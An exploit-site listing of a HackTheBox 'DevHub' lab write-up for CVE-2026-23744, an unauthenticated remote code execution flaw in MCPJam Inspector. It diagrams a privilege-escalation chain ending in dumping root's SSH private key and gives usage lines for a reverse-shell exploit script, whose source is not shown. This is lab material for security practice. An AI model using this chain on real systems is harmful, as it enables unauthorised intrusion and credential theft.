Exploit for Missing Authentication for Critical Function in Mcpjam Inspector CVE-2026-23744

## https://sploitus.com/exploit?id=AC6E4A52-9139-53AB-92DA-7E77FED988C5
# HackTheBox — DevHub
## CVE-2026-23744 | MCPJam Inspector Unauthenticated RCE

**Difficulty:** Medium  
**OS:** Linux  
**User:** mcp-dev → analyst  
**Root:** via OPSMCP hidden API credential dump  

---

## Exploitation Chain

```
┌─────────────────────────────────────────────────────┐
│         CVE-2026-23744 — RCE on port 6274           │
│     Unauthenticated POST → /api/mcp/connect         │
└─────────────────────┬───────────────────────────────┘
                      ↓
             Shell as mcp-dev
                      ↓
┌─────────────────────────────────────────────────────┐
│     portfwd 8888 → Jupyter Notebook Token Grab      │
└─────────────────────┬───────────────────────────────┘
                      ↓
         Browser → http://127.0.0.1:8888
                      ↓
          Shell as analyst via notebook cell
          credentials: JupyterN0tebook!2026
                      ↓
┌─────────────────────────────────────────────────────┐
│       cat /opt/opsmcp/server.py                     │
│       Hardcoded API Key discovered                  │
└─────────────────────┬───────────────────────────────┘
                      ↓
         portfwd 5000 → OPSMCP API
                      ↓
   ops._admin_dump → target=ssh_keys → confirm=true
                      ↓
         /root/.ssh/id_rsa dumped
                      ↓
┌─────────────────────────────────────────────────────┐
│       ssh -i root_id_rsa root@devhub.htb            │
│                   ROOT ★                            │
└─────────────────────────────────────────────────────┘
```

## Files

| File | Description |
|---|---|
| `exploit.py` | CVE-2026-23744 RCE exploit with vuln check |
| `devhub_enum.py` | Local enumeration — Jupyter, MCP, Python, privesc |

## Usage

```bash
# Exploit
python3 exploit.py -t devhub.htb -l  -r 4444

# Enumeration (once on box)
python3 devhub_enum.py --section all
python3 devhub_enum.py --section jupyter
```

## Disclaimer
For educational purposes and authorized testing only.